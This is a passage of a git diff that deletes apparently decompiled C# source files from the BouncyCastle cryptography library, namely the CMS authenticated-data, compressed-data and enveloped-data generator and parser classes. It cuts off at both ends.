Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -public class CmsAuthenticatedDataGenerator : CmsAuthenticatedGenerator -{ - public CmsAuthenticatedDataGenerator() - { - } - - public CmsAuthenticatedDataGenerator(SecureRandom rand) - : base(rand) - { - } - - private CmsAuthenticatedData Generate(CmsProcessable content, string macOid, CipherKeyGenerator keyGen) - { - KeyParameter keyParameter; - AlgorithmIdentifier algorithmIdentifier; - Asn1OctetString content2; - Asn1OctetString mac2; - try - { - byte[] array = keyGen.GenerateKey(); - keyParameter = ParameterUtilities.CreateKeyParameter(macOid, array); - Asn1Encodable asn1Params = GenerateAsn1Parameters(macOid, array); - algorithmIdentifier = GetAlgorithmIdentifier(macOid, keyParameter, asn1Params, out var _); - IMac mac = MacUtilities.GetMac(macOid); - mac.Init(keyParameter); - MemoryStream memoryStream = new MemoryStream(); - Stream stream = new TeeOutputStream(memoryStream, new MacSink(mac)); - content.Write(stream); - Platform.Dispose(stream); - content2 = new BerOctetString(memoryStream.ToArray()); - byte[] str = MacUtilities.DoFinal(mac); - mac2 = new DerOctetString(str); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("exception decoding algorithm parameters.", e3); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (RecipientInfoGenerator recipientInfoGenerator in recipientInfoGenerators) - { - try - { - asn1EncodableVector.Add(recipientInfoGenerator.Generate(keyParameter, rand)); - } - catch (InvalidKeyException e4) - { - throw new CmsException("key inappropriate for algorithm.", e4); - } - catch (GeneralSecurityException e5) - { - throw new CmsException("error making encrypted content.", e5); - } - } - ContentInfo encapsulatedContent = new ContentInfo(CmsObjectIdentifiers.Data, content2); - ContentInfo contentInfo = new ContentInfo(CmsObjectIdentifiers.AuthenticatedData, new AuthenticatedData(null, new DerSet(asn1EncodableVector), algorithmIdentifier, null, encapsulatedContent, null, mac2, null)); - return new CmsAuthenticatedData(contentInfo); - } - - public CmsAuthenticatedData Generate(CmsProcessable content, string encryptionOid) - { - try - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keyGenerator.DefaultStrength)); - return Generate(content, encryptionOid, keyGenerator); - } - catch (SecurityUtilityException e) - { - throw new CmsException("can't find key generation algorithm.", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataParser.cs deleted file mode 100644 index 2dd8c9f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataParser.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class CmsAuthenticatedDataParser : CmsContentInfoParser -{ - internal RecipientInformationStore _recipientInfoStore; - - internal AuthenticatedDataParser authData; - - private AlgorithmIdentifier macAlg; - - private byte[] mac; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable authAttrs; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable unauthAttrs; - - private bool authAttrNotRead; - - private bool unauthAttrNotRead; - - public AlgorithmIdentifier MacAlgorithmID => macAlg; - - public string MacAlgOid => macAlg.Algorithm.Id; - - public Asn1Object MacAlgParams => macAlg.Parameters?.ToAsn1Object(); - - public CmsAuthenticatedDataParser(byte[] envelopedData) - : this(new MemoryStream(envelopedData, writable: false)) - { - } - - public CmsAuthenticatedDataParser(Stream envelopedData) - : base(envelopedData) - { - authAttrNotRead = true; - authData = new AuthenticatedDataParser((Asn1SequenceParser)contentInfo.GetContent(16)); - Asn1Set instance = Asn1Set.GetInstance(authData.GetRecipientInfos().ToAsn1Object()); - macAlg = authData.GetMacAlgorithm(); - ContentInfoParser enapsulatedContentInfo = authData.GetEnapsulatedContentInfo(); - CmsReadable readable = new CmsProcessableInputStream(((Asn1OctetStringParser)enapsulatedContentInfo.GetContent(4)).GetOctetStream()); - CmsSecureReadable secureReadable = new CmsEnvelopedHelper.CmsAuthenticatedSecureReadable(macAlg, readable); - _recipientInfoStore = CmsEnvelopedHelper.BuildRecipientInformationStore(instance, secureReadable); - } - - public RecipientInformationStore GetRecipientInfos() - { - return _recipientInfoStore; - } - - public byte[] GetMac() - { - if (mac == null) - { - GetAuthAttrs(); - mac = authData.GetMac().GetOctets(); - } - return Arrays.Clone(mac); - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable GetAuthAttrs() - { - if (authAttrs == null && authAttrNotRead) - { - Asn1SetParser asn1SetParser = authData.GetAuthAttrs(); - authAttrNotRead = false; - if (asn1SetParser != null) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - IAsn1Convertible asn1Convertible; - while ((asn1Convertible = asn1SetParser.ReadObject()) != null) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)asn1Convertible; - asn1EncodableVector.Add(asn1SequenceParser.ToAsn1Object()); - } - authAttrs = new Org.BouncyCastle.Asn1.Cms.AttributeTable(new DerSet(asn1EncodableVector)); - } - } - return authAttrs; - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable GetUnauthAttrs() - { - if (unauthAttrs == null && unauthAttrNotRead) - { - Asn1SetParser asn1SetParser = authData.GetUnauthAttrs(); - unauthAttrNotRead = false; - if (asn1SetParser != null) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - IAsn1Convertible asn1Convertible; - while ((asn1Convertible = asn1SetParser.ReadObject()) != null) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)asn1Convertible; - asn1EncodableVector.Add(asn1SequenceParser.ToAsn1Object()); - } - unauthAttrs = new Org.BouncyCastle.Asn1.Cms.AttributeTable(new DerSet(asn1EncodableVector)); - } - } - return unauthAttrs; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataStreamGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataStreamGenerator.cs deleted file mode 100644 index b700b08..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataStreamGenerator.cs +++ /dev/null @@ -1,159 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -public class CmsAuthenticatedDataStreamGenerator : CmsAuthenticatedGenerator -{ - private class CmsAuthenticatedDataOutputStream : BaseOutputStream - { - private readonly Stream macStream; - - private readonly IMac mac; - - private readonly BerSequenceGenerator cGen; - - private readonly BerSequenceGenerator authGen; - - private readonly BerSequenceGenerator eiGen; - - public CmsAuthenticatedDataOutputStream(Stream macStream, IMac mac, BerSequenceGenerator cGen, BerSequenceGenerator authGen, BerSequenceGenerator eiGen) - { - this.macStream = macStream; - this.mac = mac; - this.cGen = cGen; - this.authGen = authGen; - this.eiGen = eiGen; - } - - public override void WriteByte(byte b) - { - macStream.WriteByte(b); - } - - public override void Write(byte[] bytes, int off, int len) - { - macStream.Write(bytes, off, len); - } - - public override void Close() - { - Platform.Dispose(macStream); - eiGen.Close(); - byte[] str = MacUtilities.DoFinal(mac); - authGen.AddObject(new DerOctetString(str)); - authGen.Close(); - cGen.Close(); - base.Close(); - } - } - - private int _bufferSize; - - private bool _berEncodeRecipientSet; - - public CmsAuthenticatedDataStreamGenerator() - { - } - - public CmsAuthenticatedDataStreamGenerator(SecureRandom rand) - : base(rand) - { - } - - public void SetBufferSize(int bufferSize) - { - _bufferSize = bufferSize; - } - - public void SetBerEncodeRecipients(bool berEncodeRecipientSet) - { - _berEncodeRecipientSet = berEncodeRecipientSet; - } - - private Stream Open(Stream outStr, string macOid, CipherKeyGenerator keyGen) - { - byte[] array = keyGen.GenerateKey(); - KeyParameter keyParameter = ParameterUtilities.CreateKeyParameter(macOid, array); - Asn1Encodable asn1Params = GenerateAsn1Parameters(macOid, array); - ICipherParameters cipherParameters; - AlgorithmIdentifier algorithmIdentifier = GetAlgorithmIdentifier(macOid, keyParameter, asn1Params, out cipherParameters); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (RecipientInfoGenerator recipientInfoGenerator in recipientInfoGenerators) - { - try - { - asn1EncodableVector.Add(recipientInfoGenerator.Generate(keyParameter, rand)); - } - catch (InvalidKeyException e) - { - throw new CmsException("key inappropriate for algorithm.", e); - } - catch (GeneralSecurityException e2) - { - throw new CmsException("error making encrypted content.", e2); - } - } - return Open(outStr, algorithmIdentifier, keyParameter, asn1EncodableVector); - } - - protected Stream Open(Stream outStr, AlgorithmIdentifier macAlgId, ICipherParameters cipherParameters, Asn1EncodableVector recipientInfos) - { - try - { - BerSequenceGenerator berSequenceGenerator = new BerSequenceGenerator(outStr); - berSequenceGenerator.AddObject(CmsObjectIdentifiers.AuthenticatedData); - BerSequenceGenerator berSequenceGenerator2 = new BerSequenceGenerator(berSequenceGenerator.GetRawOutputStream(), 0, isExplicit: true); - berSequenceGenerator2.AddObject(new DerInteger(AuthenticatedData.CalculateVersion(null))); - Stream rawOutputStream = berSequenceGenerator2.GetRawOutputStream(); - Asn1Generator asn1Generator = (_berEncodeRecipientSet ? ((Asn1Generator)new BerSetGenerator(rawOutputStream)) : ((Asn1Generator)new DerSetGenerator(rawOutputStream))); - foreach (Asn1Encodable recipientInfo in recipientInfos) - { - asn1Generator.AddObject(recipientInfo); - } - asn1Generator.Close(); - berSequenceGenerator2.AddObject(macAlgId); - BerSequenceGenerator berSequenceGenerator3 = new BerSequenceGenerator(rawOutputStream); - berSequenceGenerator3.AddObject(CmsObjectIdentifiers.Data); - Stream output = CmsUtilities.CreateBerOctetOutputStream(berSequenceGenerator3.GetRawOutputStream(), 0, isExplicit: false, _bufferSize); - IMac mac = MacUtilities.GetMac(macAlgId.Algorithm); - mac.Init(cipherParameters); - Stream macStream = new TeeOutputStream(output, new MacSink(mac)); - return new CmsAuthenticatedDataOutputStream(macStream, mac, berSequenceGenerator, berSequenceGenerator2, berSequenceGenerator3); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("exception decoding algorithm parameters.", e3); - } - } - - public Stream Open(Stream outStr, string encryptionOid) - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keyGenerator.DefaultStrength)); - return Open(outStr, encryptionOid, keyGenerator); - } - - public Stream Open(Stream outStr, string encryptionOid, int keySize) - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keySize)); - return Open(outStr, encryptionOid, keyGenerator); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedGenerator.cs deleted file mode 100644 index db0ee76..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedGenerator.cs +++ /dev/null @@ -1,15 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -public class CmsAuthenticatedGenerator : CmsEnvelopedGenerator -{ - public CmsAuthenticatedGenerator() - { - } - - public CmsAuthenticatedGenerator(SecureRandom rand) - : base(rand) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedData.cs deleted file mode 100644 index 9f1b69b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedData.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Cms; - -public class CmsCompressedData -{ - internal ContentInfo contentInfo; - - public ContentInfo ContentInfo => contentInfo; - - public CmsCompressedData(byte[] compressedData) - : this(CmsUtilities.ReadContentInfo(compressedData)) - { - } - - public CmsCompressedData(Stream compressedDataStream) - : this(CmsUtilities.ReadContentInfo(compressedDataStream)) - { - } - - public CmsCompressedData(ContentInfo contentInfo) - { - this.contentInfo = contentInfo; - } - - public byte[] GetContent() - { - CompressedData instance = CompressedData.GetInstance(contentInfo.Content); - ContentInfo encapContentInfo = instance.EncapContentInfo; - Asn1OctetString asn1OctetString = (Asn1OctetString)encapContentInfo.Content; - ZInputStream zInputStream = new ZInputStream(asn1OctetString.GetOctetStream()); - try - { - return CmsUtilities.StreamToByteArray(zInputStream); - } - catch (IOException e) - { - throw new CmsException("exception reading compressed stream.", e); - } - finally - { - Platform.Dispose(zInputStream); - } - } - - public byte[] GetContent(int limit) - { - CompressedData instance = CompressedData.GetInstance(contentInfo.Content); - ContentInfo encapContentInfo = instance.EncapContentInfo; - Asn1OctetString asn1OctetString = (Asn1OctetString)encapContentInfo.Content; - ZInputStream inStream = new ZInputStream(new MemoryStream(asn1OctetString.GetOctets(), writable: false)); - try - { - return CmsUtilities.StreamToByteArray(inStream, limit); - } - catch (IOException e) - { - throw new CmsException("exception reading compressed stream.", e); - } - } - - public byte[] GetEncoded() - { - return contentInfo.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataGenerator.cs deleted file mode 100644 index 177e7f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataGenerator.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Cms; - -public class CmsCompressedDataGenerator -{ - public const string ZLib = "1.2.840.113549.1.9.16.3.8"; - - public CmsCompressedData Generate(CmsProcessable content, string compressionOid) - { - AlgorithmIdentifier compressionAlgorithm; - Asn1OctetString content2; - try - { - MemoryStream memoryStream = new MemoryStream(); - ZOutputStream zOutputStream = new ZOutputStream(memoryStream, -1); - content.Write(zOutputStream); - Platform.Dispose(zOutputStream); - compressionAlgorithm = new AlgorithmIdentifier(new DerObjectIdentifier(compressionOid)); - content2 = new BerOctetString(memoryStream.ToArray()); - } - catch (IOException e) - { - throw new CmsException("exception encoding data.", e); - } - ContentInfo encapContentInfo = new ContentInfo(CmsObjectIdentifiers.Data, content2); - ContentInfo contentInfo = new ContentInfo(CmsObjectIdentifiers.CompressedData, new CompressedData(compressionAlgorithm, encapContentInfo)); - return new CmsCompressedData(contentInfo); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataParser.cs deleted file mode 100644 index 5e7a4dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataParser.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Cms; - -public class CmsCompressedDataParser : CmsContentInfoParser -{ - public CmsCompressedDataParser(byte[] compressedData) - : this(new MemoryStream(compressedData, writable: false)) - { - } - - public CmsCompressedDataParser(Stream compressedData) - : base(compressedData) - { - } - - public CmsTypedStream GetContent() - { - try - { - CompressedDataParser compressedDataParser = new CompressedDataParser((Asn1SequenceParser)contentInfo.GetContent(16)); - ContentInfoParser encapContentInfo = compressedDataParser.GetEncapContentInfo(); - Asn1OctetStringParser asn1OctetStringParser = (Asn1OctetStringParser)encapContentInfo.GetContent(4); - return new CmsTypedStream(encapContentInfo.ContentType.ToString(), new ZInputStream(asn1OctetStringParser.GetOctetStream())); - } - catch (IOException e) - { - throw new CmsException("IOException reading compressed content.", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataStreamGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataStreamGenerator.cs deleted file mode 100644 index 18a6b04..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsCompressedDataStreamGenerator.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Cms; - -public class CmsCompressedDataStreamGenerator -{ - private class CmsCompressedOutputStream : BaseOutputStream - { - private ZOutputStream _out; - - private BerSequenceGenerator _sGen; - - private BerSequenceGenerator _cGen; - - private BerSequenceGenerator _eiGen; - - internal CmsCompressedOutputStream(ZOutputStream outStream, BerSequenceGenerator sGen, BerSequenceGenerator cGen, BerSequenceGenerator eiGen) - { - _out = outStream; - _sGen = sGen; - _cGen = cGen; - _eiGen = eiGen; - } - - public override void WriteByte(byte b) - { - _out.WriteByte(b); - } - - public override void Write(byte[] bytes, int off, int len) - { - _out.Write(bytes, off, len); - } - - public override void Close() - { - Platform.Dispose(_out); - _eiGen.Close(); - _cGen.Close(); - _sGen.Close(); - base.Close(); - } - } - - public const string ZLib = "1.2.840.113549.1.9.16.3.8"; - - private int _bufferSize; - - public void SetBufferSize(int bufferSize) - { - _bufferSize = bufferSize; - } - - public Stream Open(Stream outStream, string compressionOID) - { - return Open(outStream, CmsObjectIdentifiers.Data.Id, compressionOID); - } - - public Stream Open(Stream outStream, string contentOID, string compressionOID) - { - BerSequenceGenerator berSequenceGenerator = new BerSequenceGenerator(outStream); - berSequenceGenerator.AddObject(CmsObjectIdentifiers.CompressedData); - BerSequenceGenerator berSequenceGenerator2 = new BerSequenceGenerator(berSequenceGenerator.GetRawOutputStream(), 0, isExplicit: true); - berSequenceGenerator2.AddObject(new DerInteger(0)); - berSequenceGenerator2.AddObject(new AlgorithmIdentifier(new DerObjectIdentifier("1.2.840.113549.1.9.16.3.8"))); - BerSequenceGenerator berSequenceGenerator3 = new BerSequenceGenerator(berSequenceGenerator2.GetRawOutputStream()); - berSequenceGenerator3.AddObject(new DerObjectIdentifier(contentOID)); - Stream output = CmsUtilities.CreateBerOctetOutputStream(berSequenceGenerator3.GetRawOutputStream(), 0, isExplicit: true, _bufferSize); - return new CmsCompressedOutputStream(new ZOutputStream(output, -1), berSequenceGenerator, berSequenceGenerator2, berSequenceGenerator3); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsContentInfoParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsContentInfoParser.cs deleted file mode 100644 index 9eb74eb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsContentInfoParser.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class CmsContentInfoParser -{ - protected ContentInfoParser contentInfo; - - protected Stream data; - - protected CmsContentInfoParser(Stream data) - { - if (data == null) - { - throw new ArgumentNullException("data"); - } - this.data = data; - try - { - Asn1StreamParser asn1StreamParser = new Asn1StreamParser(data); - contentInfo = new ContentInfoParser((Asn1SequenceParser)asn1StreamParser.ReadObject()); - } - catch (IOException e) - { - throw new CmsException("IOException reading content.", e); - } - catch (InvalidCastException e2) - { - throw new CmsException("Unexpected object reading content.", e2); - } - } - - public void Close() - { - Platform.Dispose(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedData.cs deleted file mode 100644 index d4a26ba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedData.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Cms; - -public class CmsEnvelopedData -{ - internal RecipientInformationStore recipientInfoStore; - - internal ContentInfo contentInfo; - - private AlgorithmIdentifier encAlg; - - private Asn1Set unprotectedAttributes; - - public AlgorithmIdentifier EncryptionAlgorithmID => encAlg; - - public string EncryptionAlgOid => encAlg.Algorithm.Id; - - public ContentInfo ContentInfo => contentInfo; - - public CmsEnvelopedData(byte[] envelopedData) - : this(CmsUtilities.ReadContentInfo(envelopedData)) - { - } - - public CmsEnvelopedData(Stream envelopedData) - : this(CmsUtilities.ReadContentInfo(envelopedData)) - { - } - - public CmsEnvelopedData(ContentInfo contentInfo) - { - this.contentInfo = contentInfo; - EnvelopedData instance = EnvelopedData.GetInstance(contentInfo.Content); - Asn1Set recipientInfos = instance.RecipientInfos; - EncryptedContentInfo encryptedContentInfo = instance.EncryptedContentInfo; - encAlg = encryptedContentInfo.ContentEncryptionAlgorithm; - CmsReadable readable = new CmsProcessableByteArray(encryptedContentInfo.EncryptedContent.GetOctets()); - CmsSecureReadable secureReadable = new CmsEnvelopedHelper.CmsEnvelopedSecureReadable(encAlg, readable); - recipientInfoStore = CmsEnvelopedHelper.BuildRecipientInformationStore(recipientInfos, secureReadable); - unprotectedAttributes = instance.UnprotectedAttrs; - } - - public RecipientInformationStore GetRecipientInfos() - { - return recipientInfoStore; - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable GetUnprotectedAttributes() - { - if (unprotectedAttributes == null) - { - return null; - } - return new Org.BouncyCastle.Asn1.Cms.AttributeTable(unprotectedAttributes); - } - - public byte[] GetEncoded() - { - return contentInfo.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataGenerator.cs deleted file mode 100644 index 5dabdc3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataGenerator.cs +++ /dev/null @@ -1,161 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class CmsEnvelopedDataGenerator : CmsEnvelopedGenerator -{ - public CmsEnvelopedDataGenerator() - { - } - - public CmsEnvelopedDataGenerator(SecureRandom rand) - : base(rand) - { - } - - private CmsEnvelopedData Generate(CmsProcessable content, string encryptionOid, CipherKeyGenerator keyGen) - { - AlgorithmIdentifier algorithmIdentifier = null; - KeyParameter keyParameter; - Asn1OctetString encryptedContent; - try - { - byte[] array = keyGen.GenerateKey(); - keyParameter = ParameterUtilities.CreateKeyParameter(encryptionOid, array); - Asn1Encodable asn1Params = GenerateAsn1Parameters(encryptionOid, array); - algorithmIdentifier = GetAlgorithmIdentifier(encryptionOid, keyParameter, asn1Params, out var cipherParameters); - IBufferedCipher cipher = CipherUtilities.GetCipher(encryptionOid); - cipher.Init(forEncryption: true, new ParametersWithRandom(cipherParameters, rand)); - MemoryStream memoryStream = new MemoryStream(); - CipherStream cipherStream = new CipherStream(memoryStream, null, cipher); - content.Write(cipherStream); - Platform.Dispose(cipherStream); - encryptedContent = new BerOctetString(memoryStream.ToArray()); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("exception decoding algorithm parameters.", e3); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (RecipientInfoGenerator recipientInfoGenerator in recipientInfoGenerators) - { - try - { - asn1EncodableVector.Add(recipientInfoGenerator.Generate(keyParameter, rand)); - } - catch (InvalidKeyException e4) - { - throw new CmsException("key inappropriate for algorithm.", e4); - } - catch (GeneralSecurityException e5) - { - throw new CmsException("error making encrypted content.", e5); - } - } - EncryptedContentInfo encryptedContentInfo = new EncryptedContentInfo(CmsObjectIdentifiers.Data, algorithmIdentifier, encryptedContent); - Asn1Set unprotectedAttrs = null; - if (unprotectedAttributeGenerator != null) - { - Org.BouncyCastle.Asn1.Cms.AttributeTable attributes = unprotectedAttributeGenerator.GetAttributes(Platform.CreateHashtable()); - unprotectedAttrs = new BerSet(attributes.ToAsn1EncodableVector()); - } - ContentInfo contentInfo = new ContentInfo(CmsObjectIdentifiers.EnvelopedData, new EnvelopedData(null, new DerSet(asn1EncodableVector), encryptedContentInfo, unprotectedAttrs)); - return new CmsEnvelopedData(contentInfo); - } - - public CmsEnvelopedData Generate(CmsProcessable content, string encryptionOid) - { - try - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keyGenerator.DefaultStrength)); - return Generate(content, encryptionOid, keyGenerator); - } - catch (SecurityUtilityException e) - { - throw new CmsException("can't find key generation algorithm.", e); - } - } - - public CmsEnvelopedData Generate(CmsProcessable content, ICipherBuilderWithKey cipherBuilder) - { - KeyParameter contentEncryptionKey; - Asn1OctetString encryptedContent; - try - { - contentEncryptionKey = (KeyParameter)cipherBuilder.Key; - MemoryStream memoryStream = new MemoryStream(); - Stream stream = cipherBuilder.BuildCipher(memoryStream).Stream; - content.Write(stream); - Platform.Dispose(stream); - encryptedContent = new BerOctetString(memoryStream.ToArray()); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("exception decoding algorithm parameters.", e3); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (RecipientInfoGenerator recipientInfoGenerator in recipientInfoGenerators) - { - try - { - asn1EncodableVector.Add(recipientInfoGenerator.Generate(contentEncryptionKey, rand)); - } - catch (InvalidKeyException e4) - { - throw new CmsException("key inappropriate for algorithm.", e4); - } - catch (GeneralSecurityException e5) - { - throw new CmsException("error making encrypted content.", e5); - } - } - EncryptedContentInfo encryptedContentInfo = new EncryptedContentInfo(CmsObjectIdentifiers.Data, (AlgorithmIdentifier)cipherBuilder.AlgorithmDetails, encryptedContent); - Asn1Set unprotectedAttrs = null; - if (unprotectedAttributeGenerator != null) - { - Org.BouncyCastle.Asn1.Cms.AttributeTable attributes = unprotectedAttributeGenerator.GetAttributes(Platform.CreateHashtable()); - unprotectedAttrs = new BerSet(attributes.ToAsn1EncodableVector()); - } - ContentInfo contentInfo = new ContentInfo(CmsObjectIdentifiers.EnvelopedData, new EnvelopedData(null, new DerSet(asn1EncodableVector), encryptedContentInfo, unprotectedAttrs)); - return new CmsEnvelopedData(contentInfo); - } - - public CmsEnvelopedData Generate(CmsProcessable content, string encryptionOid, int keySize) - { - try - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keySize)); - return Generate(content, encryptionOid, keyGenerator); - } - catch (SecurityUtilityException e) - { - throw new CmsException("can't find key generation algorithm.", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataParser.cs deleted file mode 100644 index 083ba93..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataParser.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Cms; - -public class CmsEnvelopedDataParser : CmsContentInfoParser -{ - internal RecipientInformationStore 